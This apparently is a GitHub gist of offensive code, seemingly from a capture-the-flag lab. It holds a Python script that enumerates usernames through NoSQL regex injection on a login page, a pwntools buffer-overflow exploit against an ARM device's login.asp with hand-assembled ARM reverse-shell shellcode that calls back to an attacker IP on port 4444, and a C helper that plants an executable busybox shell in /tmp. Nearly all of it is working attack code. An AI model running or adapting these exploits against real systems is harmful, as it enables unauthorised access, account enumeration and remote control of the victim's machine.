Skip to content

Instantly share code, notes, and snippets.

@ChrisPritchard
Last active December 27, 2023 04:32
Show Gist options
  • Save ChrisPritchard/1a858629007ade1bd0ed9814e0d40486 to your computer and use it in GitHub Desktop.
Save ChrisPritchard/1a858629007ade1bd0ed9814e0d40486 to your computer and use it in GitHub Desktop.
import requests
import string
url = "http://localhost:8080/login.php"
headers = {"Host": "localhost:8080", "Authorization": "Basic YWRtaW46WTN0aVN0YXJDdXIhb3VzcGFzc3dvcmQ9YWRtaW4="}
cookies = {}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
print("running")
get_usernames(""):
from pwn import *
# to use, change target ip at the bottom
# and update attack ip in the shell code where marked
BADCHARS = b'\x00\x09\x0a\x0d\x20\x23\x26'
BAD = False
LIBC_OFFSET = 0x40021000
LIBGCC_OFFSET = 0x4000e000
RETURN = LIBGCC_OFFSET + 0x2f88 # libgcc_s.so.1: bx sp 0x40010f88
SLEEP = LIBC_OFFSET + 0xdc54 # sleep@libc 0x4002ec54
pc = cyclic_find(0x63616176) # 284
r4 = cyclic_find(0x6361616f) # 256
r5 = cyclic_find(0x63616170) # 260
r6 = cyclic_find(0x63616171) # 264
r7 = cyclic_find(0x63616172) # 268
r8 = cyclic_find(0x63616173) # 272
r9 = cyclic_find(0x63616174) # 276
r10 = cyclic_find(0x63616175) # 280
sp = cyclic_find(0x63616177) # 288
code = [
b"\x10\xd0\x4d\xe2", # sub sp, sp, #0x10
b"\x68\x10\xa0\xe3", # mov r1, #0x68
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x73\x10\x81\xe2", # add r1, r1, #0x73
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x2f\x10\x81\xe2", # add r1, r1, #0x2f
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x6e\x10\xa0\xe3", # mov r1, #0x6e
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x69\x10\x81\xe2", # add r1, r1, #0x69
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x62\x10\x81\xe2", # add r1, r1, #0x62
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x2f\x10\x81\xe2", # add r1, r1, #0x2f
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x91\x10\xa0\xe3", # mov r1, #0x91 # last octet in hex, here 91 is 145 in x.x.x.145
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x6b\x10\x81\xe2", # add r1, r1, #0x6b # third octet in hex, here 6b is 107 in x.x.107.x
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x08\x10\x81\xe2", # add r1, r1, #0x08 # second octet in hex, which is 10 but split to 8 and 2 as 10 in hex is a bad char (0a)
b"\x02\x10\x81\xe2", # add r1, r1, #0x02
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x08\x10\x81\xe2", # add r1, r1, #0x08 # first octet in hex, same as above. full ip is 10.10.107.145
b"\x02\x10\x81\xe2", # add r1, r1, #0x02
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x5c\x10\xa0\xe3", # mov r1, #0x5c
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x11\x10\x81\xe2", # add r1, r1, #0x11
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x02\x10\x81\xe2", # add r1, r1, #2
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xef\x30\xa0\xe3", # mov r3, #0xef
b"\x03\x3c\xa0\xe1", # lsl r3, r3, #0x18
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x0c\x10\x81\xe2", # add r1, r1, #0xc
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe9\x10\xa0\xe3", # mov r1, #0xe9
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x2d\x10\x81\xe2", # add r1, r1, #0x2d
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x05\x10\x81\xe2", # add r1, r1, #5
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x22\x10\x81\xe2", # add r1, r1, #0x22
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x02\x10\x81\xe2", # add r1, r1, #2
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x8f\x10\x81\xe2", # add r1, r1, #0x8f
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x18\x10\x81\xe2", # add r1, r1, #0x18
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x02\x10\x81\xe2", # add r1, r1, #2
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x87\x10\x81\xe2", # add r1, r1, #0x87
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x0e\x10\x81\xe2", # add r1, r1, #0xe
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x31\x10\x81\xe2", # add r1, r1, #0x31
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x21\x10\x81\xe2", # add r1, r1, #0x21
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x0b\x10\x81\xe2", # add r1, r1, #0xb
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x87\x10\x81\xe2", # add r1, r1, #0x87
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x1c\x10\x81\xe2", # add r1, r1, #0x1c
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xff\x10\x81\xe2", # add r1, r1, #0xff
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x8f\x10\x81\xe2", # add r1, r1, #0x8f
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x50\x10\x81\xe2", # add r1, r1, #0x50
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe1\x10\xa0\xe3", # mov r1, #0xe1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xb0\x10\x81\xe2", # add r1, r1, #0xb0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x04\x30\x2d\xe5", # str r3, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x87\x10\x81\xe2", # add r1, r1, #0x87
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x1a\x10\x81\xe2", # add r1, r1, #0x1a
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x70\x10\x81\xe2", # add r1, r1, #0x70
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xff\x10\x81\xe2", # add r1, r1, #0xff
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe0\x10\xa0\xe3", # mov r1, #0xe0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x22\x10\x81\xe2", # add r1, r1, #0x22
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x1f\x10\x81\xe2", # add r1, r1, #0x1f
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x02\x10\x81\xe2", # add r1, r1, #2
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe2\x10\xa0\xe3", # mov r1, #0xe2
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x81\x10\x81\xe2", # add r1, r1, #0x81
b"\x01\x18\xa0\xe1", # lsl r1, r1, #0x10
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\xe3\x10\xa0\xe3", # mov r1, #0xe3
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\xa0\x10\x81\xe2", # add r1, r1, #0xa0
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x10\x10\x81\xe2", # add r1, r1, #0x10
b"\x01\x14\xa0\xe1", # lsl r1, r1, #8
b"\x01\x10\x81\xe2", # add r1, r1, #1
b"\x04\x10\x2d\xe5", # str r1, [sp, #-4]!
b"\x1d\xff\x2f\xe1", # bx sp
]
raw = b"".join(code)
SC = raw
info('Shellcode length: %d' % len(SC))
for i in range(len(SC)):
if SC[i] in BADCHARS:
print('BAD CHARACTER in position: %d!')
BAD = True
if BAD:
exit(1)
buffer = b'A' * r10
buffer += p32(SLEEP) # overwrite r10 with address of sleep()
buffer += p32(RETURN) # bx sp
buffer += SC
s = remote('10.10.224.89', 50628) # change this to target
s.send(b'GET /en/login.asp?basic=' + buffer + b' HTTP/1.0\r\n\r\n')
nc = listen(4444)
nc.wait_for_connection()
nc.interactive()
s.close()
nc.close()
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
const char *sourceFilePath = "/tmp/ftp/test_busybox";
const char *destinationFilePath = "/tmp/sh";
// Open the source file for reading
FILE *sourceFile = fopen(sourceFilePath, "rb");
if (sourceFile == NULL) {
perror("Error opening source file");
return 1;
}
// Open the destination file for writing
FILE *destinationFile = fopen(destinationFilePath, "wb");
if (destinationFile == NULL) {
perror("Error opening destination file");
fclose(sourceFile);
return 1;
}
// Copy the contents of the source file to the destination file
int c;
while ((c = fgetc(sourceFile)) != EOF) {
fputc(c, destinationFile);
}
// Close both files
fclose(sourceFile);
fclose(destinationFile);
// Give execute permissions to the destination file
if (chmod(destinationFilePath, S_IXUSR | S_IXGRP | S_IXOTH) == -1) {
perror("Error changing file permissions");
return 1;
}
printf("File copied from %s to %s and made executable\n", sourceFilePath, destinationFilePath);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment